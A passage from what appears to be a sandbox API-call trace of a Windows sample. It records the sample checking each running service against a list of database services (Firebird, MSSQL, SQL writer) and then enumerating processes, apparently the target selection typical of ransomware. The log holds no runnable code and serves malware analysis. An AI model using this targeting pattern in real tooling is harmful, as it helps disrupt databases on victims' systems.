lpString2="DusmSvc") returned 1 [0227.778] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0227.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0227.778] lstrlenW (lpString="EventLog") returned 8 [0227.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0227.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0227.778] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0227.778] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0227.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0227.778] lstrlenW (lpString="EventSystem") returned 11 [0227.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0227.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0227.778] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0227.778] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0227.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0227.778] lstrlenW (lpString="FontCache") returned 9 [0227.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0227.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0227.778] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0227.778] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0227.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0227.778] lstrlenW (lpString="gpsvc") returned 5 [0227.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0227.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0227.779] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0227.779] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0227.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0227.779] lstrlenW (lpString="iphlpsvc") returned 8 [0227.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0227.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0227.779] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0227.779] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0227.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0227.779] lstrlenW (lpString="KeyIso") returned 6 [0227.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0227.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0227.779] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0227.779] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0227.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0227.779] lstrlenW (lpString="LanmanServer") returned 12 [0227.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0227.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0227.779] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0227.779] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0227.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0227.779] lstrlenW (lpString="LanmanWorkstation") returned 17 [0227.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0227.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0227.779] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0227.779] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0227.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0227.779] lstrlenW (lpString="lfsvc") returned 5 [0227.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0227.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0227.779] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0227.779] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0227.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0227.779] lstrlenW (lpString="lmhosts") returned 7 [0227.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0227.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0227.779] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0227.779] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0227.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0227.779] lstrlenW (lpString="LSM") returned 3 [0227.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0227.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0227.779] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0227.779] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0227.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0227.779] lstrlenW (lpString="MpsSvc") returned 6 [0227.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0227.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0227.779] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0227.780] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0227.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0227.780] lstrlenW (lpString="NcbService") returned 10 [0227.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0227.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0227.780] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0227.780] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0227.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0227.780] lstrlenW (lpString="netprofm") returned 8 [0227.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0227.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0227.780] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0227.780] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0227.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0227.780] lstrlenW (lpString="NgcSvc") returned 6 [0227.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0227.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0227.780] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0227.780] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0227.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0227.780] lstrlenW (lpString="NlaSvc") returned 6 [0227.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0227.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0227.780] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0227.780] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0227.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0227.780] lstrlenW (lpString="nsi") returned 3 [0227.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0227.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0227.780] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0227.780] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0227.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0227.780] lstrlenW (lpString="PcaSvc") returned 6 [0227.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0227.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0227.780] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0227.780] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0227.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0227.780] lstrlenW (lpString="PlugPlay") returned 8 [0227.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0227.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0227.780] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0227.780] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0227.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0227.780] lstrlenW (lpString="Power") returned 5 [0227.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0227.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0227.780] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0227.780] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0227.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0227.781] lstrlenW (lpString="ProfSvc") returned 7 [0227.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0227.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0227.781] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0227.781] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0227.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0227.781] lstrlenW (lpString="RpcEptMapper") returned 12 [0227.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0227.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0227.781] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0227.781] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0227.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0227.781] lstrlenW (lpString="RpcSs") returned 5 [0227.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0227.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0227.781] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0227.781] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0227.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0227.781] lstrlenW (lpString="SamSs") returned 5 [0227.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0227.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0227.781] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0227.781] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0227.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0227.781] lstrlenW (lpString="Schedule") returned 8 [0227.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0227.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0227.781] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0227.781] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0227.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0227.781] lstrlenW (lpString="SecurityHealthService") returned 21 [0227.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0227.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0227.781] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0227.781] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0227.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0227.781] lstrlenW (lpString="SENS") returned 4 [0227.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0227.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0227.781] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0227.781] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0227.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0227.781] lstrlenW (lpString="ShellHWDetection") returned 16 [0227.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0227.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0227.781] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0227.781] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0227.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0227.781] lstrlenW (lpString="Spooler") returned 7 [0227.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0227.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0227.781] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0227.782] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0227.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0227.782] lstrlenW (lpString="StateRepository") returned 15 [0227.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0227.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0227.782] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0227.782] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0227.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0227.782] lstrlenW (lpString="SysMain") returned 7 [0227.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0227.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0227.782] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0227.782] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0227.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0227.782] lstrlenW (lpString="SystemEventsBroker") returned 18 [0227.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0227.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0227.782] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0227.782] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0227.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0227.782] lstrlenW (lpString="Themes") returned 6 [0227.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0227.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0227.782] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0227.782] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0227.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0227.782] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0227.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0227.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0227.782] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0227.782] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0227.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0227.782] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0227.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0227.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0227.782] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0227.782] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0227.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TimeBrokerSvc") returned -1 [0227.782] lstrlenW (lpString="TokenBroker") returned 11 [0227.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TokenBroker") returned -1 [0227.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TokenBroker") returned -1 [0227.782] lstrcmpiW (lpString1="sqlwriter", lpString2="TokenBroker") returned -1 [0227.782] lstrcmpiW (lpString1="mssqlserver", lpString2="TokenBroker") returned -1 [0227.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f26e0 | out: hHeap=0x4f0000) returned 1 [0227.782] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x454 [0227.787] Process32FirstW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0227.787] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0227.787] lstrlenW (lpString="System") returned 6 [0227.787] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0227.788] lstrlenW (lpString="smss.exe") returned 8 [0227.788] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0227.788] lstrlenW (lpString="csrss.exe") returned 9 [0227.788] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0227.789] lstrlenW (lpString="wininit.exe") returned 11 [0227.789] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0227.789] lstrlenW (lpString="csrss.exe") returned 9 [0227.789] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0227.789] lstrlenW (lpString="winlogon.exe") returned 12 [0227.789] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0227.790] lstrlenW (lpString="services.exe") returned 12 [0227.790] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0227.790] lstrlenW (lpString="lsass.exe") returned 9 [0227.790] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0227.790] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0227.790] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0227.791] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0227.791] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.791] lstrlenW (lpString="svchost.exe") returned 11 [0227.791] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.791] lstrlenW (lpString="svchost.exe") returned 11 [0227.791] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0227.792] lstrlenW (lpString="dwm.exe") returned 7 [0227.792] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.792] lstrlenW (lpString="svchost.exe") returned 11 [0227.792] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.792] lstrlenW (lpString="svchost.exe") returned 11 [0227.793] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.793] lstrlenW (lpString="svchost.exe") returned 11 [0228.138] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.139] lstrlenW (lpString="svchost.exe") returned 11 [0228.139] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.139] lstrlenW (lpString="svchost.exe") returned 11 [0228.139] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x428, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.140] lstrlenW (lpString="svchost.exe") returned 11 [0228.140] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.140] lstrlenW (lpString="svchost.exe") returned 11 [0228.140] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x550, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.141] lstrlenW (lpString="svchost.exe") returned 11 [0228.141] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.141] lstrlenW (lpString="svchost.exe") returned 11 [0228.141] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.141] lstrlenW (lpString="svchost.exe") returned 11 [0228.141] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0228.142] lstrlenW (lpString="spoolsv.exe") returned 11 [0228.142] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, 